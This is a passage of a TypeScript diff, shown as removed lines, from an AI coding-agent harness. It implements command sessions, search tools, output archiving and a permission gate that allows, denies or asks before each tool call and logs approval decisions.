else await replaceFile(ctx.pathRoot ?? ctx.root, absolute, before.version, after, before.version?.mode ?? (0o666 & ~process.umask()), ctx.signal);
|
|
1143
|
-
}
|
|
1144
|
-
|
|
1145
|
-
async function commandFingerprint(ctx: ToolContext): Promise<{ workspace_sha256?: string; workspace_observed?: boolean; workspace_scope?: "source-v1" }> {
|
|
1146
|
-
const observed = await observeWorkspace(ctx.root, ctx.signal, ctx.ownedStatePaths);
|
|
1147
|
-
return observed.ok ? { workspace_sha256: observed.fingerprint, workspace_observed: true, workspace_scope: "source-v1" } : { workspace_observed: false, workspace_scope: "source-v1" };
|
|
1148
|
-
}
|
|
1149
|
-
|
|
1150
|
-
|
|
1151
|
-
async function toolExec(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
1152
|
-
const command = String(input["cmd"] ?? "");
|
|
1153
|
-
if (command.trim().length === 0) return failure("invalid_input", "empty command");
|
|
1154
|
-
const cwd = typeof input["workdir"] === "string" && input["workdir"].length > 0 ? confine(ctx, input["workdir"]) : ctx.root;
|
|
1155
|
-
if (typeof cwd !== "string") return failure("permission_denied", cwd.error);
|
|
1156
|
-
const timeoutMs = commandTimeout(typeof input["timeout"] === "number" ? input["timeout"] : undefined, ctx.timeoutMs, ctx.maxTimeoutMs);
|
|
1157
|
-
const outputStore = ctx.outputStore ?? join(ctx.root, ".xeno", "observations");
|
|
1158
|
-
const artifactObserver = await beginCommandArtifacts(ctx, command, cwd, input["artifacts"]);
|
|
1159
|
-
if (ctx.signal?.aborted) return cancelledTool();
|
|
1160
|
-
const session = await startSession({ command, cwd, tty: input["tty"] === true, timeoutMs, spoolDir: outputStore,
|
|
1161
|
-
source: { host: ctx.hostId ?? hostname(), workspace: resolve(ctx.root), cwd, runtime: `bun/${Bun.version}` },
|
|
1162
|
-
...(artifactObserver ? { artifactObserver } : {}),
|
|
1163
|
-
...(ctx.execOwner === undefined ? {} : { owner: ctx.execOwner }) });
|
|
1164
|
-
if ("error" in session) return failure("execution_failed", session.error);
|
|
1165
|
-
const wait = yieldWait(input["yield_time_ms"]);
|
|
1166
|
-
const view = { ...ctx, maxOutputBytes: outputBytesForTokens(input["max_output_tokens"], ctx.maxOutputBytes) };
|
|
1167
|
-
return sessionResult(view, command, timeoutMs, await pollSession(session, outputStore, view.maxOutputBytes, wait.ms, "", ctx.signal), wait.note);
|
|
1168
|
-
}
|
|
1169
|
-
|
|
1170
|
-
async function toolWriteStdin(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
1171
|
-
const id = Number(input["session_id"]);
|
|
1172
|
-
const chars = typeof input["chars"] === "string" ? input["chars"] : "";
|
|
1173
|
-
const session = findSession(id, ctx.execOwner);
|
|
1174
|
-
if (session === undefined) {
|
|
1175
|
-
const closed = closedSession(id, ctx.execOwner);
|
|
1176
|
-
// Ctrl-C / Ctrl-D to a closed handle asks for what its exit already did: answer as a poll.
|
|
1177
|
-
const input = isControlInput(chars) ? "" : chars;
|
|
1178
|
-
if (closed) return receiptResult(ctx, { ...closed.receipt, replayed: true }, input);
|
|
1179
|
-
const original = await ctx.observedProcess?.(id);
|
|
1180
|
-
if (original) return receiptResult(ctx, recoverProcessReceipt(original.receipt, original.origin), input);
|
|
1181
|
-
const running = runningSessions(ctx.execOwner).map((s) => s.id).join(", ");
|
|
1182
|
-
return { ...failure("unknown_effect", `no running session ${id}; no observation in this session's active history` +
|
|
1183
|
-
(running.length > 0 ? `; running sessions: ${running}` : ""), UNKNOWN_EFFECT),
|
|
1184
|
-
data: { kind: "process", version: 1, session_id: id, state: "unknown", capability: "unknown", source: null, running: null, exit: null, replayed: true } };
|
|
1185
|
-
}
|
|
1186
|
-
const outputStore = ctx.outputStore ?? join(ctx.root, ".xeno", "observations");
|
|
1187
|
-
const owner = chars.length === 0 ? ctx.processWait : undefined;
|
|
1188
|
-
const wait = owner ? emptyYieldWait(input["yield_time_ms"]) : yieldWait(input["yield_time_ms"]);
|
|
1189
|
-
const view = { ...ctx, maxOutputBytes: outputBytesForTokens(input["max_output_tokens"], ctx.maxOutputBytes) };
|
|
1190
|
-
return sessionResult(view, session.command, session.timeoutMs, await pollSession(session, outputStore, view.maxOutputBytes, wait.ms, chars, ctx.signal,
|
|
1191
|
-
owner ? { wake: owner.wake(), onWaiting: active => ctx.onProcessWait?.(id, active), windowMs: wait.ms } : undefined), wait.note);
|
|
1192
|
-
}
|
|
1193
|
-
|
|
1194
|
-
/** A successful historical query proves only that the receipt was found, never a new command exit. */
|
|
1195
|
-
function receiptResult(ctx: ToolContext, receipt: ProcessReceipt, chars: string): ToolResult {
|
|
1196
|
-
const location = receipt.origin ? `; original node ${receipt.origin.node} event ${receipt.origin.event}` : "";
|
|
1197
|
-
const observed = receipt.running === false ? `last observed ${receipt.state}, exit ${receipt.exit}` : "last observed running; current process state unknown";
|
|
1198
|
-
const artifact = receipt.full_output ?? receipt.output;
|
|
1199
|
-
const content = `session ${receipt.session_id}: ${observed}; control ${receipt.capability}; historical receipt, no execution${location}` + commandArtifactSummary(receipt.artifacts) +
|
|
1200
|
-
(artifact ? `\nCaptured output: ${artifactRecovery(artifact.sha256, 0, adviceTools(ctx))}` : "");
|
|
1201
|
-
return { ...(chars.length > 0 ? failure("not_found", "no live handle; input was not sent", NOT_STARTED)
|
|
1202
|
-
: receipt.running === false ? { ok: true } : failure("unknown_effect", "live handle lost; inspect existing state before replay", UNKNOWN_EFFECT)),
|
|
1203
|
-
content: content + (chars.length > 0 ? "\nInput was not sent: no live handle." : ""), data: receipt,
|
|
1204
|
-
...(receipt.output ? { content_ref: receipt.output, content_sha256: receipt.output.sha256 } : {}) };
|
|
1205
|
-
}
|
|
1206
|
-
|
|
1207
|
-
/**
|
|
1208
|
-
* One call's view of a session. A running session proves nothing yet, so it
|
|
1209
|
-
* carries no effect; only an observed exit does, exactly as bash's would (D11).
|
|
1210
|
-
*/
|
|
1211
|
-
export async function sessionResult(ctx: ToolContext, command: string, timeoutMs: number,
|
|
1212
|
-
taken: Awaited<ReturnType<typeof pollSession>>, waitNote = ""): Promise<ToolResult> {
|
|
1213
|
-
const { stored, exit } = taken;
|
|
1214
|
-
const id = taken.receipt.session_id;
|
|
1215
|
-
if (taken.receipt.replayed) return receiptResult(ctx, taken.receipt, "");
|
|
1216
|
-
const shown = exit === null
|
|
1217
|
-
? `running · session ${id} · ${(taken.wallMs / 1000).toFixed(1)}s elapsed; ` + (adviceTools(ctx).includes("write_stdin")
|
|
1218
|
-
? `poll or send input with write_stdin(session_id=${id})`
|
|
1219
|
-
: "process-control capability unavailable; execution remains unfinished; do not replay")
|
|
1220
|
-
: commandHeader({ exit, wallMs: taken.wallMs, timeoutMs, managed: true, ...(taken.stopped ? { stopped: taken.stopped } : {}) }) + ` · session ${id} closed` + answerLabel(command, exit, taken.stopped);
|
|
1221
|
-
const unsent = taken.unsent === undefined ? "" : " · input was not sent: the process had already exited";
|
|
1222
|
-
const header = shown + waitNote + unsent;
|
|
1223
|
-
const artifactSummary = commandArtifactSummary(taken.receipt.artifacts);
|
|
1224
|
-
const content = header + artifactSummary + "\n" + foldCarriageReturns(observationView(stored, ctx.maxOutputBytes - utf8Length(header + artifactSummary) - 1, 0, adviceTools(ctx)));
|
|
1225
|
-
const warnings = taken.receipt.capture === "partial" ? [failureDiagnostic("unknown_effect", "output capture is partial; full_output contains only captured bytes", UNKNOWN_EFFECT)] : [];
|
|
1226
|
-
if (exit === null) {
|
|
1227
|
-
return { ok: true, content, content_ref: stored.ref, content_sha256: stored.ref.sha256, data: taken.receipt, ...(warnings.length ? { warnings } : {}) };
|
|
1228
|
-
}
|
|
1229
|
-
const gate = matchGate(ctx, command);
|
|
1230
|
-
const observation = await commandFingerprint(ctx);
|
|
1231
|
-
// Refused input fails this call, yet the exit it observed is still recorded:
|
|
1232
|
-
// the next poll only replays, so withholding the effect would lose it (D11).
|
|
1233
|
-
const completion = taken.unsent === "refused"
|
|
1234
|
-
? { ok: false, outcome: executionOutcome("tool_failed"),
|
|
1235
|
-
diagnostic: failureDiagnostic("not_found", "process had already exited; input was not sent; its exit and unread output are in this result", NOT_STARTED) }
|
|
1236
|
-
: commandCompletion(exit, taken.stopped, undefined, command);
|
|
1237
|
-
return {
|
|
1238
|
-
...completion,
|
|
1239
|
-
content, content_ref: stored.ref, content_sha256: stored.ref.sha256,
|
|
1240
|
-
data: taken.receipt, ...(warnings.length ? { warnings } : {}),
|
|
1241
|
-
effect: { kind: "command", cmd: command, exit, ...(gate !== undefined ? { gate } : {}),
|
|
1242
|
-
...observation, ...(taken.receipt.artifacts ? { artifacts: taken.receipt.artifacts } : {}) },
|
|
1243
|
-
};
|
|
1244
|
-
}
|
|
1245
|
-
|
|
1246
|
-
/** The program's own meaning of an answering exit (grep 1: no match; 141 after head), appended to the header; the exit itself stays. */
|
|
1247
|
-
function answerLabel(command: string, exit: number, stopped?: "cancelled" | "timeout"): string {
|
|
1248
|
-
const meaning = stopped === undefined ? commandAnswer(command, exit) : null;
|
|
1249
|
-
return meaning === null ? "" : ` · ${meaning}`;
|
|
1250
|
-
}
|
|
1251
|
-
|
|
1252
|
-
const utf8Length = (text: string) => new TextEncoder().encode(text).length;
|
|
1253
|
-
|
|
1254
|
-
/**
|
|
1255
|
-
* Head and tail of an archived observation, skipping its first `skip` bytes.
|
|
1256
|
-
*
|
|
1257
|
-
* The marker names the artifact and the byte offset where the gap starts, so
|
|
1258
|
-
* the missing middle is one `history` call away rather than a rerun.
|
|
1259
|
-
*/
|
|
1260
|
-
function observationView(stored: ArchivedObservation, limit: number, skip = 0, tools?: readonly string[]): string {
|
|
1261
|
-
const { ref } = stored;
|
|
1262
|
-
const marker = (omitted: number, offset: number) =>
|
|
1263
|
-
`\n[truncated ${omitted} bytes at offset ${offset + skip}; full output: ${ref.path}; ` +
|
|
1264
|
-
`${artifactRecovery(ref.sha256, offset + skip, tools)}]\n`;
|
|
1265
|
-
const total = ref.bytes - skip;
|
|
1266
|
-
const tail = stored.tail.subarray(Math.max(0, stored.tail.length - total));
|
|
1267
|
-
return headTailView(stored.head.subarray(skip), tail, total, Math.max(0, limit), marker);
|
|
1268
|
-
}
|
|
1269
|
-
|
|
1270
|
-
export async function presentObservation(ctx: ToolContext, content: string): Promise<Pick<ToolResult, "content" | "content_ref" | "content_sha256">> {
|
|
1271
|
-
const bytes = new TextEncoder().encode(content);
|
|
1272
|
-
if (bytes.length <= ctx.maxOutputBytes) return { content, content_sha256: sha256(bytes) };
|
|
1273
|
-
async function* source(): AsyncGenerator<Uint8Array> { yield bytes; }
|
|
1274
|
-
const stored = await archiveObservation(ctx.outputStore ?? join(ctx.root, ".xeno", "observations"), source(), ctx.maxOutputBytes);
|
|
1275
|
-
return { content: observationView(stored, ctx.maxOutputBytes, 0, adviceTools(ctx)), content_ref: stored.ref, content_sha256: stored.ref.sha256 };
|
|
1276
|
-
}
|
|
1277
|
-
|
|
1278
|
-
function toolPath(ctx: ToolContext, input: Record<string, unknown>): string | { error: string } {
|
|
1279
|
-
const path = typeof input["path"] === "string" && input["path"].length > 0 ? input["path"] : ".";
|
|
1280
|
-
return confine(ctx, path);
|
|
1281
|
-
}
|
|
1282
|
-
|
|
1283
|
-
function optionalLimit(input: Record<string, unknown>): number | undefined {
|
|
1284
|
-
const n = input["limit"];
|
|
1285
|
-
return typeof n === "number" && Number.isFinite(n) ? n : undefined;
|
|
1286
|
-
}
|
|
1287
|
-
|
|
1288
|
-
function grepEngine(input: Record<string, unknown>): "auto" | "ripgrep" | "walk" {
|
|
1289
|
-
const engine = input["engine"];
|
|
1290
|
-
if (engine === "walk" || engine === "ripgrep") return engine;
|
|
1291
|
-
return "auto";
|
|
1292
|
-
}
|
|
1293
|
-
|
|
1294
|
-
async function toolGrep(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
1295
|
-
const abs = toolPath(ctx, input);
|
|
1296
|
-
if (typeof abs !== "string") return failure("permission_denied", abs.error);
|
|
1297
|
-
const glob = typeof input["glob"] === "string" ? input["glob"] : undefined;
|
|
1298
|
-
const limit = optionalLimit(input);
|
|
1299
|
-
const result = await grep({
|
|
1300
|
-
root: searchRoot(ctx, abs),
|
|
1301
|
-
...(ctx.rules ? { canRead: async (path: string) => await permissionResourceAction(searchRoot(ctx, abs), path, ctx.rules ?? [], ctx.sessionRules ?? [], "grep") === "allow" } : {}),
|
|
1302
|
-
path: abs,
|
|
1303
|
-
pattern: String(input["pattern"] ?? ""),
|
|
1304
|
-
engine: grepEngine(input),
|
|
1305
|
-
timeoutMs: ctx.timeoutMs,
|
|
1306
|
-
...(ctx.signal ? { signal: ctx.signal } : {}),
|
|
1307
|
-
...(glob !== undefined ? { glob } : {}),
|
|
1308
|
-
...(limit !== undefined ? { limit } : {}),
|
|
1309
|
-
});
|
|
1310
|
-
return presentSearch(ctx, "grep", input, abs, result);
|
|
1311
|
-
}
|
|
1312
|
-
|
|
1313
|
-
async function presentSearch(ctx: ToolContext, tool: string, input: Record<string, unknown>, resource: string, result: SearchResult): Promise<ToolResult> {
|
|
1314
|
-
const observation = result.observation;
|
|
1315
|
-
if (!observation) return { ok: result.ok, ...await presentObservation(ctx, result.content), ...(result.diagnostic ? { diagnostic: result.diagnostic } : {}) };
|
|
1316
|
-
const store = ctx.outputStore ?? join(ctx.root, ".xeno", "observations");
|
|
1317
|
-
const archive = async (bytes: Uint8Array) => {
|
|
1318
|
-
async function* source() { yield bytes; }
|
|
1319
|
-
return (await archiveObservation(store, source(), 0)).ref;
|
|
1320
|
-
};
|
|
1321
|
-
const full = await archive(new TextEncoder().encode(searchObservationText(observation.rows)));
|
|
1322
|
-
const raw = observation.raw ? await archive(observation.raw) : undefined;
|
|
1323
|
-
const rawErrors = observation.rawErrors?.length ? await archive(observation.rawErrors) : undefined;
|
|
1324
|
-
const manifest = await archive(new TextEncoder().encode(JSON.stringify({ version: 1, tool, input, resource, engine: observation.engine,
|
|
1325
|
-
scan: observation.scan, sources: observation.sources, scope: { ignored: DEFAULT_IGNORE, follows_symlinks: false,
|
|
1326
|
-
max_file_bytes: tool === "grep" ? MAX_FILE_BYTES : null, execution_byte_budget: MAX_SEARCH_CAPTURE_BYTES },
|
|
1327
|
-
matches: observation.rows.length, artifact: full, ...(raw ? { raw } : {}), ...(rawErrors ? { raw_errors: rawErrors } : {}) })));
|
|
1328
|
-
const preview = previewSearchObservation(observation, full.sha256, ctx.maxOutputBytes, 500,
|
|
1329
|
-
`[engine=${observation.engine}; scan=${observation.scan.status}; sources=${observation.scan.source_versions}; manifest=${manifest.sha256}]` +
|
|
1330
|
-
(result.diagnostic ? `\n[${result.diagnostic.message}]` : ""), adviceTools(ctx));
|
|
1331
|
-
const data = { kind: "search", version: 1, source: { host: ctx.hostId ?? hostname(), workspace: ctx.root, resource },
|
|
1332
|
-
engine: observation.engine, scan: { status: observation.scan.status, reasons: [...new Set(observation.scan.reasons.map(reason => reason.code))],
|
|
1333
|
-
examined_files: observation.scan.examined_files, source_versions: observation.scan.source_versions },
|
|
1334
|
-
matches: observation.rows.length, artifact: full, manifest, ...(raw ? { raw } : {}), ...(rawErrors ? { raw_errors: rawErrors } : {}), preview: preview.preview };
|
|
1335
|
-
if (!isJsonValue(data)) throw new Error("search produced a non-JSON receipt");
|
|
1336
|
-
return { ok: result.ok, content: preview.text, content_ref: full, content_sha256: full.sha256,
|
|
1337
|
-
observation_sha256: sha256(preview.semantic), data, ...(result.diagnostic ? { diagnostic: result.diagnostic,
|
|
1338
|
-
...(result.diagnostic.code === "cancelled" || result.diagnostic.code === "timeout" ? { outcome: executionOutcome(result.diagnostic.code) } : {}) } : {}) };
|
|
1339
|
-
}
|
|
1340
|
-
|
|
1341
|
-
async function toolQuery(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
1342
|
-
let query: ReturnType<typeof parseQueryInput>;
|
|
1343
|
-
try { query = parseQueryInput(input); }
|
|
1344
|
-
catch (error) { return failure("invalid_input", String(error)); }
|
|
1345
|
-
const { text, sources } = await readQuerySources(ctx.root, input["paths"], ctx.signal);
|
|
1346
|
-
checkSourceCancellation(ctx.signal);
|
|
1347
|
-
let value: { sources: typeof sources } & ReturnType<typeof queryData>;
|
|
1348
|
-
try { value = { sources, ...queryData(text, query) }; }
|
|
1349
|
-
catch (error) { return failure("invalid_input", String(error), READ_ATTEMPTED); }
|
|
1350
|
-
if (!isJsonValue(value)) throw new Error("query produced a non-JSON value");
|
|
1351
|
-
const observation = await presentObservation(ctx, JSON.stringify(value));
|
|
1352
|
-
return { ok: true, ...observation, data: observation.content_ref ? { artifact: observation.content_ref, format: "json" } : value };
|
|
1353
|
-
}
|
|
1354
|
-
|
|
1355
|
-
async function toolFind(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
1356
|
-
const abs = toolPath(ctx, input);
|
|
1357
|
-
if (typeof abs !== "string") return failure("permission_denied", abs.error);
|
|
1358
|
-
const limit = optionalLimit(input);
|
|
1359
|
-
const result = await findFiles({
|
|
1360
|
-
root: searchRoot(ctx, abs),
|
|
1361
|
-
...(ctx.rules ? { canRead: async (path: string) => await permissionResourceAction(searchRoot(ctx, abs), path, ctx.rules ?? [], ctx.sessionRules ?? [], "find") === "allow" } : {}),
|
|
1362
|
-
path: abs,
|
|
1363
|
-
pattern: String(input["pattern"] ?? ""),
|
|
1364
|
-
timeoutMs: ctx.timeoutMs,
|
|
1365
|
-
...(ctx.signal ? { signal: ctx.signal } : {}),
|
|
1366
|
-
...(limit !== undefined ? { limit } : {}),
|
|
1367
|
-
});
|
|
1368
|
-
return presentSearch(ctx, "find", input, abs, result);
|
|
1369
|
-
}
|
|
1370
|
-
|
|
1371
|
-
async function toolLs(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
1372
|
-
const abs = toolPath(ctx, input);
|
|
1373
|
-
if (typeof abs !== "string") return failure("permission_denied", abs.error);
|
|
1374
|
-
const limit = optionalLimit(input);
|
|
1375
|
-
const result = await ls({
|
|
1376
|
-
root: searchRoot(ctx, abs),
|
|
1377
|
-
...(ctx.rules ? { canRead: async (path: string) => await permissionResourceAction(searchRoot(ctx, abs), path, ctx.rules ?? [], ctx.sessionRules ?? [], "ls") === "allow" } : {}),
|
|
1378
|
-
path: abs,
|
|
1379
|
-
...(ctx.signal ? { signal: ctx.signal } : {}),
|
|
1380
|
-
...(limit !== undefined ? { limit } : {}),
|
|
1381
|
-
});
|
|
1382
|
-
return presentSearch(ctx, "ls", input, abs, result);
|
|
1383
|
-
}
|
|
1384
|
-
|
|
1385
|
-
/**
|
|
1386
|
-
* Tools a read-only branch may use.
|
|
1387
|
-
*
|
|
1388
|
-
* Applied twice, deliberately. As a schema it tells the model what exists,
|
|
1389
|
-
* which is what actually shapes behaviour. As `ToolContext.allow` it is
|
|
1390
|
-
* enforced in runTool, because a narrowed schema is guidance and not a
|
|
1391
|
-
* boundary -- a write call that arrives anyway would otherwise run.
|
|
1392
|
-
*/
|
|
1393
|
-
export const BRANCH_TOOL_NAMES = TOOL_DEFINITIONS.filter(tool => tool.branch === "read").map(tool => tool.name);
|
|
1394
|
-
|
|
1395
|
-
/** Writing adds effects to the shared evidence tools; new readers cannot go missing. */
|
|
1396
|
-
export const WRITING_BRANCH_TOOL_NAMES = TOOL_DEFINITIONS.filter(tool => tool.branch !== "none").map(tool => tool.name);
|
|
1397
|
-
|
|
1398
|
-
export function branchTools(writes = false, only?: readonly string[]): ToolSchema[] {
|
|
1399
|
-
const allowed = new Set<string>(
|
|
1400
|
-
writes ? WRITING_BRANCH_TOOL_NAMES : BRANCH_TOOL_NAMES,
|
|
1401
|
-
);
|
|
1402
|
-
const definitions = TOOL_DEFINITIONS.filter(t => allowed.has(t.name) && (only === undefined || only.includes(t.name)));
|
|
1403
|
-
return definitions.map(tool => modelToolSchema(tool, definitions.map(item => item.name)));
|
|
1404
|
-
}
|
|
1405
|
-
|
|
1406
|
-
/**
|
|
1407
|
-
* The door in front of every tool, including note/branch/resolve which
|
|
1408
|
-
* the loop handles itself.
|
|
1409
|
-
*
|
|
1410
|
-
* A denial is a ToolResult, never an exception: an unanswered tool_use
|
|
1411
|
-
* makes the next request unpairable. Same shape as a refused branch and
|
|
1412
|
-
* an interrupt.
|
|
1413
|
-
*
|
|
1414
|
-
* Returns null when the call may proceed.
|
|
1415
|
-
*/
|
|
1416
|
-
export async function gateTool(
|
|
1417
|
-
ctx: ToolContext,
|
|
1418
|
-
name: string,
|
|
1419
|
-
input: unknown,
|
|
1420
|
-
): Promise<ToolResult | null> {
|
|
1421
|
-
if (ctx.signal?.aborted) return cancelledTool();
|
|
1422
|
-
// Checked before decide, so a tool that left the schema cannot reach
|
|
1423
|
-
// the approval prompt. The model should not have seen it; if a call
|
|
1424
|
-
// arrives anyway it is answered, not executed.
|
|
1425
|
-
if (ctx.allow && !ctx.allow.includes(name)) {
|
|
1426
|
-
return failure("permission_denied", `refused: ${name} is not available here (allowed: ${ctx.allow.join(", ")})`);
|
|
1427
|
-
}
|
|
1428
|
-
const definition = toolDefinition(name, ctx);
|
|
1429
|
-
if (ctx.workflowMode === "plan" && definition && definition.access !== "read" &&
|
|
1430
|
-
!(definition.access === "state" && (name === "note" || name === "question" && ctx.questionSlot)))
|
|
1431
|
-
return failure("permission_denied", `${name} is unavailable in Plan mode; ${ctx.planHint ?? "select Build at an idle checkpoint."}`);
|
|
1432
|
-
input = repairToolInput(name, input);
|
|
1433
|
-
let invalid: string | null = null;
|
|
1434
|
-
if (definition?.validateInput) {
|
|
1435
|
-
try { definition.validateInput(input); } catch (error) { return caughtFailure(error, NOT_STARTED, "Invalid tool arguments: "); }
|
|
1436
|
-
} else if (definition) invalid = inputError(definition.input_schema, input, "input", definition.hiddenInputs);
|
|
1437
|
-
if (invalid) {
|
|
1438
|
-
const example = minimalInput(definition!.input_schema);
|
|
1439
|
-
return failure("invalid_input", invalid, NOT_STARTED, example !== null && typeof example === "object" && !Array.isArray(example) &&
|
|
1440
|
-
inputError(definition!.input_schema, example) === null ? { example: example as { [key: string]: JsonValue } } : {});
|
|
1441
|
-
}
|
|
1442
|
-
if (ctx.rules === undefined) return null;
|
|
1443
|
-
|
|
1444
|
-
const permissionInput = name === "apply_patch" && input && typeof input === "object" && "patchText" in input ? { paths: patchPaths(parsePatch(String(input.patchText))) } : input;
|
|
1445
|
-
const request = await canonicalPermissionRequest(ctx.root, name, permissionInput);
|
|
1446
|
-
let explained = explainDecision(ctx.rules, ctx.sessionRules ?? [], request);
|
|
1447
|
-
if (definition?.access === "read" && request.paths) for (const path of request.paths) {
|
|
1448
|
-
const resource = await permissionResourceDecision(ctx.root, path, ctx.rules, ctx.sessionRules ?? [], name);
|
|
1449
|
-
if (resource.action === "deny") { explained = resource; break; }
|
|
1450
|
-
if (resource.action === "ask" && explained.action === "allow") explained = resource;
|
|
1451
|
-
}
|
|
1452
|
-
const decision = explained.action;
|
|
1453
|
-
// feat-approval-events: the verdict is durable before the call can start, so
|
|
1454
|
-
// the log answers "why was this allowed" -- including automatic allows.
|
|
1455
|
-
const record = async (verdict: ApprovalRecord["decision"], source: ApprovalRecord["source"]) => {
|
|
1456
|
-
if (!ctx.onApproval || ctx.callId === undefined || !approvalNeeded(request, decision)) return;
|
|
1457
|
-
await ctx.onApproval({ call_id: ctx.callId, tool: request.tool, decision: verdict, source,
|
|
1458
|
-
...(request.command !== undefined ? { command: request.command } : {}),
|
|
1459
|
-
...(explained.rule ? { rule: describeRule(explained.rule) } : {}) });
|
|
1460
|
-
};
|
|
1461
|
-
switch (decision) {
|
|
1462
|
-
case "allow":
|
|
1463
|
-
// An empty rule list consulted no policy (tool tests, trusted host execution).
|
|
1464
|
-
if (explained.source !== "none") await record("allow", explained.source);
|
|
1465
|
-
return null;
|
|
1466
|
-
case "deny":
|
|
1467
|
-
await record("deny", "config");
|
|
1468
|
-
return failure("permission_denied", deniedMessage(request));
|
|
1469
|
-
case "ask": {
|
|
1470
|
-
const ask = ctx.ask ?? ctx.askSlot?.current;
|
|
1471
|
-
if (ask === undefined) {
|
|
1472
|
-
await record("deny", "no_prompt");
|
|
1473
|
-
return failure("permission_denied", askWithoutTtyMessage(request));
|
|
1474
|
-
}
|
|
1475
|
-
let choice: ApprovalChoice | undefined;
|
|
1476
|
-
try { choice = await waitForAdmission(ask(request), ctx.signal); }
|
|
1477
|
-
catch (error) { return caughtFailure(error, NOT_STARTED, "approval unavailable: "); }
|
|
1478
|
-
// A withdrawn prompt is not a decision; the result already says cancelled.
|
|
1479
|
-
if (choice === undefined || ctx.signal?.aborted) return cancelledTool();
|
|
1480
|
-
await record(choice, "user");
|
|
1481
|
-
switch (choice) {
|
|
1482
|
-
case "once":
|
|
1483
|
-
return null;
|
|
1484
|
-
case "command": {
|
|
1485
|
-
if (request.command !== undefined && ctx.sessionRules) {
|
|
1486
|
-
ctx.sessionRules.unshift({
|
|
1487
|
-
action: "allow",
|
|
1488
|
-
tool: request.tool,
|
|
1489
|
-
command: request.command,
|
|
1490
|
-
});
|
|
1491
|
-
}
|
|
1492
|
-
return null;
|
|
1493
|
-
}
|
|
1494
|
-
case "tool": {
|
|
1495
|
-
if (ctx.sessionRules) {
|
|
1496
|
-
ctx.sessionRules.unshift({ action: "allow", tool: request.tool });
|
|
1497
|
-
}
|
|
1498
|
-
return null;
|
|
1499
|
-
}
|
|
1500
|
-
case "deny":
|
|
1501
|
-
return failure("permission_denied", deniedMessage(request));
|
|
1502
|
-
default:
|
|
1503
|
-
return assertNever(choice, "gateTool");
|
|
1504
|
-
}
|
|
1505
|
-
}
|
|
1506
|
-
default:
|
|
1507
|
-
return assertNever(decision, "gateTool");
|
|
1508
|
-
}
|
|
1509
|
-
}
|
|
1510
|
-
|
|
1511
|
-
export async function runTool(
|
|
1512
|
-
ctx: ToolContext,
|
|
1513
|
-
name: string,
|
|
1514
|
-
input: unknown,
|
|
1515
|
-
): Promise<ToolResult> {
|
|
1516
|
-
const prepared = await prepareTool(ctx, name, input);
|
|
1517
|
-
return typeof prepared === "function" ? prepared() : prepared;
|
|
1518
|
-
}
|
|
1519
|
-
|
|
1520
|
-
/** O.5: ordered admission returns a capability for this exact call, never a policy bypass flag. */
|
|
1521
|
-
export async function prepareTool(ctx: ToolContext, name: string, input: unknown): Promise<ToolResult | (() => Promise<ToolResult>)> {
|
|
1522
|
-
try { input = normalizeToolInput(ctx, name, input); }
|
|
1523
|
-
catch (error) { return scopeToolAdvice(ctx, finishToolResult(failure("invalid_input", `Invalid ${name} arguments: ${String(error)}`))); }
|
|
1524
|
-
return prepareNormalizedTool(ctx, name, input);
|
|
1525
|
-
}
|
|
1526
|
-
|
|
1527
|
-
/** Shared with the broker so the durable invocation names the arguments actually admitted. */
|
|
1528
|
-
export function normalizeToolInput(ctx: ToolContext, name: string, input: unknown): unknown {
|
|
1529
|
-
// Freeze the adapter's normalized arguments before admission and durable logging.
|
|
1530
|
-
return repairToolInput(name, toolDefinition(name, ctx)?.prepareArguments?.(input) ?? input);
|
|
1531
|
-
}
|
|
1532
|
-
|
|
1533
|
-
/** D11: notification observers receive values, never capabilities or mutable execution evidence. */
|
|
1534
|
-
function observerValue<T>(value: T): T {
|
|
1535
|
-
return value === undefined ? value : JSON.parse(JSON.stringify(value)) as T;
|
|
1536
|
-
}
|
|
1537
|
-
|
|
1538
|
-
/** Normalization is not admission: this entrance still enforces every permission and hook. */
|
|
1539
|
-
export async function prepareNormalizedTool(ctx: ToolContext, name: string, input: unknown,
|
|
1540
|
-
prepareAction?: () => Promise<() => Promise<ToolResult>>): Promise<ToolResult | (() => Promise<ToolResult>)> {
|
|
1541
|
-
const scoped = <T>(action: () => T): T => ctx.extensionHooks?.scope ? ctx.extensionHooks.scope(ctx, action) : action();
|
|
1542
|
-
let attached: ToolResult["instructions"];
|
|
1543
|
-
try {
|
|
1544
|
-
const gated = await gateTool(ctx, name, input);
|
|
1545
|
-
if (gated) return scopeToolAdvice(ctx, finishToolResult(gated));
|
|
1546
|
-
const instructions = await ctx.instructionCheck?.(ctx, name, input);
|
|
1547
|
-
if (instructions?.kind === "block") return scopeToolAdvice(ctx, finishToolResult(instructions.result));
|
|
1548
|
-
if (instructions?.kind === "attach") attached = instructions.instructions;
|
|
1549
|
-
const veto = await scoped(() => ctx.extensionHooks?.before(name, observerValue(input), ctx.callId, ctx.parentCallId));
|
|
1550
|
-
await ctx.drainNested?.();
|
|
1551
|
-
if (veto) return scopeToolAdvice(ctx, finishToolResult(failure("permission_denied", veto)));
|
|
1552
|
-
} catch (error) { return scopeToolAdvice(ctx, finishToolResult(caughtFailure(error, UNKNOWN_EFFECT))); }
|
|
1553
|
-
let owned: (() => Promise<ToolResult>) | undefined;
|
|
1554
|
-
let begun = false;
|
|
1555
|
-
const lifecycle = { toolName: name, toolCallId: ctx.callId, ...(ctx.parentCallId ? { parentToolCallId: ctx.parentCallId } : {}), ...(ctx.origin ? { origin: ctx.origin } : {}) };
|
|
1556
|
-
if (prepareAction) {
|
|
1557
|
-
// Branch spawn preparation is ordered after admission and before siblings
|
|
1558
|
-
// begin, under the same lifecycle observers as ordinary workspace tools.
|
|
1559
|
-
try {
|
|
1560
|
-
begun = true;
|
|
1561
|
-
await scoped(() => ctx.extensionHooks?.event("tool_execution_start", { ...lifecycle, args: observerValue(input) }));
|
|
1562
|
-
await ctx.drainNested?.();
|
|
1563
|
-
owned = ctx.signal?.aborted ? async () => cancelledTool() : await prepareAction();
|
|
1564
|
-
} catch (error) { owned = async () => { throw error; }; }
|
|
1565
|
-
}
|
|
1566
|
-
return async () => {
|
|
1567
|
-
let observed: ToolResult | undefined;
|
|
1568
|
-
